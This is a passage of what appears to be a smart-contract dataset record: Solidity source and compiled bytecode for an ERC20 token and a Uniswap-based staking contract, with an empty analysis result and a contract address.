uint8 constant public decimals = 18;
function HexelErc20Token(string _name, string _symbol) public {
name = _name;
symbol = _symbol;
}
function multiMint(address[] recipients, uint256[] values) onlyOwner canMint external {
require(recipients.length == values.length);
for (uint256 i = 0; i < recipients.length; i++) {
mint(recipients[i], values[i]);
}
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610123578063095ea7b3146101b157806318160ddd1461020b57806323b872dd146102345780632f81bc71146102ad578063313ce567146102ef57806340c10f191461031e578063661884631461037857806370a08231146103d25780637d64bcb41461041f5780638da5cb5b1461044c57806395d89b41146104a1578063a9059cbb1461052f578063d73dd62314610589578063dd62ed3e146105e3578063f2fde38b1461064f575b600080fd5b341561010157600080fd5b610109610688565b604051808215151515815260200191505060405180910390f35b341561012e57600080fd5b61013661069b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610739565b604051808215151515815260200191505060405180910390f35b341561021657600080fd5b61021e61082b565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610293600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610835565b604051808215151515815260200191505060405180910390f35b34156102b857600080fd5b6102ed600480803590602001908201803590602001919091929080359060200190820180359060200191909192905050610bef565b005b34156102fa57600080fd5b610302610cea565b604051808260ff1660ff16815260200191505060405180910390f35b341561032957600080fd5b61035e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cef565b604051808215151515815260200191505060405180910390f35b341561038357600080fd5b6103b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed5565b604051808215151515815260200191505060405180910390f35b34156103dd57600080fd5b610409600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611166565b6040518082815260200191505060405180910390f35b341561042a57600080fd5b6104326111ae565b604051808215151515815260200191505060405180910390f35b341561045757600080fd5b61045f611276565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ac57600080fd5b6104b461129c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f45780820151818401526020810190506104d9565b50505050905090810190601f1680156105215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561053a57600080fd5b61056f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061133a565b604051808215151515815260200191505060405180910390f35b341561059457600080fd5b6105c9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611559565b604051808215151515815260200191505060405180910390f35b34156105ee57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611755565b6040518082815260200191505060405180910390f35b341561065a57600080fd5b610686600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117dc565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107315780601f1061070657610100808354040283529160200191610731565b820191906000526020600020905b81548152906001019060200180831161071457829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561087257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108bf57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561094a57600080fd5b61099b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a2e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aff82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4d57600080fd5b600360149054906101000a900460ff16151515610c6957600080fd5b8282905085859050141515610c7d57600080fd5b600090505b84849050811015610ce357610cd58585838181101515610c9e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168484848181101515610cc957fe5b90506020020135610cef565b508080600101915050610c82565b5050505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4d57600080fd5b600360149054906101000a900460ff16151515610d6957600080fd5b610d7e8260015461194d90919063ffffffff16565b600181905550610dd5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fe6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107a565b610ff9838261193490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120c57600080fd5b600360149054906101000a900460ff1615151561122857600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113325780601f1061130757610100808354040283529160200191611332565b820191906000526020600020905b81548152906001019060200180831161131557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561137757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113c457600080fd5b611415826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006115ea82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561187457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561194257fe5b818303905092915050565b600080828401905083811015151561196157fe5b80915050929150505600a165627a7a72305820aaab66bf966ea54d5af44db48d7baed8d147e339574541f294ad371790bfb3200029
|
{"success": true, "error": null, "results": {}}
| 9,219 |
0x1bE51267D071a33C84ba448055c7aB01D3611A57
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
function burn(uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function primary() external view returns (address);
}
contract Poolable{
// Address meant for early liquidity
address payable internal constant _LiquidityProvider = 0x3975EA0f2682C47B69720590d912A4103B5AB2F4;
function primary() private view returns (address) {
return Pool(_LiquidityProvider).primary();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**21;
uint private _stakerRewardValue = 10**20;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private stakerInternalTime;
mapping (address => uint256) private stakerTokenBalance;
mapping (address => uint256) private stakerRewards;
address public RagnaAddress;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
bool public priceCapped = true;
uint public creationTime = now;
receive() external payable {
if(msg.sender != UNIROUTER){
stake();
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public onlyPrimary{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public onlyPrimary{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
RagnaAddress = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//Cap token price at 1 eth, can't be called if makeUnchangeable() was called
function capPrice(bool input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
priceCapped = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function sqrt(uint y) public pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function stake() public payable{
require(creationTime + 24 hours <= now, "It has not been 24 hours since contract creation yet");
address staker = msg.sender;
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
if(price() >= (1.05 * 10**18) && priceCapped){
uint t = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994;
IERC20(RagnaAddress).mint(address(this), x);
address[] memory path = new address[](2);
path[0] = RagnaAddress;
path[1] = WETHAddress;
IERC20(RagnaAddress).approve(UNIROUTER, x);
Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _LiquidityProvider, INF);
}
sendValue(_LiquidityProvider, address(this).balance/2);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(RagnaAddress).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(RagnaAddress).balanceOf(address(this));
IERC20(RagnaAddress).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(RagnaAddress, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawRewardTokens(uint amount) public {
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount);
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
// TETHERED
uint256 withdrawable = tetheredReward(amount);
IERC20(RagnaAddress).mint(msg.sender, withdrawable);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewLPTokenAmount(who).mul( now.sub(internalTime[who]) ));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who)) );
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint tokenAmount = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(RagnaAddress).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function ethEarnCalc(uint eth, uint time) public view returns(uint){
address poolAddress = Uniswap(FACTORY).getPair(RagnaAddress, WETHAddress);
uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint totalLP = IERC20(poolAddress).totalSupply();
uint LP = ((eth/2)*totalLP)/totalEth;
return earnCalc(LP * time);
}
function earnCalc(uint LPTime) public view returns(uint){
return ( rewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL );
}
function ethtimeCalc(uint vall) internal view returns(uint){
return ( vall.mul(31557600 * DECIMAL) ).div( rewardValue() );
}
// Get amount of tethered rewards
function tetheredReward(uint256 _amount) public view returns (uint256) {
if (now >= creationTime + 72 hours) {
return _amount;
} else {
uint256 progress = now - creationTime;
uint256 total = 72 hours;
uint256 ratio = progress.mul(1e6).div(total);
return _amount.mul(ratio).div(1e6);
}
}
// staking
function deposit(uint256 _amount) public {
require(creationTime + 24 hours <= now, "It has not been 24 hours since contract creation yet");
address staker = msg.sender;
IERC20(RagnaAddress).safeTransferFrom(staker, address(this), _amount);
stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker));
stakerInternalTime[staker] = now;
stakerTokenBalance[staker] = stakerTokenBalance[staker].add(_amount);
}
function withdraw(uint256 _amount) public {
address staker = msg.sender;
stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker));
stakerInternalTime[staker] = now;
stakerTokenBalance[staker] = stakerTokenBalance[staker].sub(_amount);
IERC20(RagnaAddress).safeTransfer(staker, _amount);
}
function withdrawStakerRewardTokens(uint amount) public {
address staker = msg.sender;
stakerRewards[staker] = stakerRewards[staker].add(viewRecentStakerRewardTokenAmount(staker));
stakerInternalTime[staker] = now;
uint removeAmount = stakerEthtimeCalc(amount);
stakerRewards[staker] = stakerRewards[staker].sub(removeAmount);
// TETHERED
uint256 withdrawable = tetheredReward(amount);
IERC20(RagnaAddress).mint(staker, withdrawable);
}
function stakerRewardValue() public view returns (uint){
return _stakerRewardValue;
}
function viewRecentStakerRewardTokenAmount(address who) internal view returns (uint){
return (viewStakerTokenAmount(who).mul( now.sub(stakerInternalTime[who]) ));
}
function viewStakerTokenAmount(address who) public view returns (uint){
return stakerTokenBalance[who];
}
function viewStakerRewardTokenAmount(address who) public view returns (uint){
return stakerEarnCalc( stakerRewards[who].add(viewRecentStakerRewardTokenAmount(who)) );
}
function stakerEarnCalc(uint LPTime) public view returns(uint){
return ( stakerRewardValue().mul(LPTime) ) / ( 31557600 * DECIMAL );
}
function stakerEthtimeCalc(uint vall) internal view returns(uint){
return ( vall.mul(31557600 * DECIMAL) ).div( stakerRewardValue() );
}
}
|
0x6080604052600436106101dc5760003560e01c80639d2a679f11610102578063d28de27311610095578063e91ed7c911610064578063e91ed7c9146105d9578063ec4fa5ac1461060c578063ed89f17a14610636578063ff2eba681461066057610206565b8063d28de27314610549578063d488ebe81461055e578063d8270dce14610591578063e42255d8146105a657610206565b8063b6b55f25116100d1578063b6b55f25146104cb578063c4fcf826146104f5578063cb43b2dd1461050a578063cff84bc31461053457610206565b80639d2a679f14610444578063a035b1fe14610459578063a064b44b1461046e578063b1fd67401461049857610206565b8063475d87331161017a5780637228cd7d116101495780637228cd7d146103ab5780637ca2f5f3146103db5780638439a541146103f05780639722006f1461041a57610206565b8063475d8733146103105780634caacd7514610325578063598272151461034e578063677342ce1461038157610206565b806326a4e8d2116101b657806326a4e8d2146102965780632dd31000146102c95780632e1a7d4d146102de5780633a4b66f11461030857610206565b80630af88b241461020b57806312c7df731461023c5780631c009aee1461026357610206565b366102065733737a250d5630b4cf539739df2c5dacb4c659f2488d146102045761020461068c565b005b600080fd5b34801561021757600080fd5b506102206110d7565b604080516001600160a01b039092168252519081900360200190f35b34801561024857600080fd5b506102516110e6565b60408051918252519081900360200190f35b34801561026f57600080fd5b506102516004803603602081101561028657600080fd5b50356001600160a01b03166110ec565b3480156102a257600080fd5b50610204600480360360208110156102b957600080fd5b50356001600160a01b0316611129565b3480156102d557600080fd5b50610220611223565b3480156102ea57600080fd5b506102046004803603602081101561030157600080fd5b503561123b565b61020461068c565b34801561031c57600080fd5b506102046112d0565b34801561033157600080fd5b5061033a61134a565b604080519115158252519081900360200190f35b34801561035a57600080fd5b506102516004803603602081101561037157600080fd5b50356001600160a01b031661135a565b34801561038d57600080fd5b50610251600480360360208110156103a457600080fd5b5035611375565b3480156103b757600080fd5b50610251600480360360408110156103ce57600080fd5b50803590602001356113c6565b3480156103e757600080fd5b5061025161157e565b3480156103fc57600080fd5b506102046004803603602081101561041357600080fd5b5035611584565b34801561042657600080fd5b506102516004803603602081101561043d57600080fd5b5035611632565b34801561045057600080fd5b50610251611660565b34801561046557600080fd5b50610251611669565b34801561047a57600080fd5b506102516004803603602081101561049157600080fd5b5035611821565b3480156104a457600080fd5b50610251600480360360208110156104bb57600080fd5b50356001600160a01b031661183b565b3480156104d757600080fd5b50610204600480360360208110156104ee57600080fd5b50356119e2565b34801561050157600080fd5b5061033a611aa4565b34801561051657600080fd5b506102046004803603602081101561052d57600080fd5b5035611ab4565b34801561054057600080fd5b50610220611bab565b34801561055557600080fd5b50610220611bba565b34801561056a57600080fd5b506102516004803603602081101561058157600080fd5b50356001600160a01b0316611bd2565b34801561059d57600080fd5b50610251611c07565b3480156105b257600080fd5b50610251600480360360208110156105c957600080fd5b50356001600160a01b0316611c0d565b3480156105e557600080fd5b50610251600480360360208110156105fc57600080fd5b50356001600160a01b0316611cfa565b34801561061857600080fd5b506102516004803603602081101561062f57600080fd5b5035611d15565b34801561064257600080fd5b506102046004803603602081101561065957600080fd5b5035611d65565b34801561066c57600080fd5b506102046004803603602081101561068357600080fd5b50351515611e64565b42600a54620151800111156106d25760405162461bcd60e51b815260040180806020018281038252603481526020018061261f6034913960400191505060405180910390fd5b6008546009546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152513391600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561074057600080fd5b505afa158015610754573d6000803e3d6000fd5b505050506040513d602081101561076a57600080fd5b50519050670e92596fd629000061077f611669565b101580156107965750600954600160b01b900460ff165b15610be057600854604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a08231916024808201926020929091908290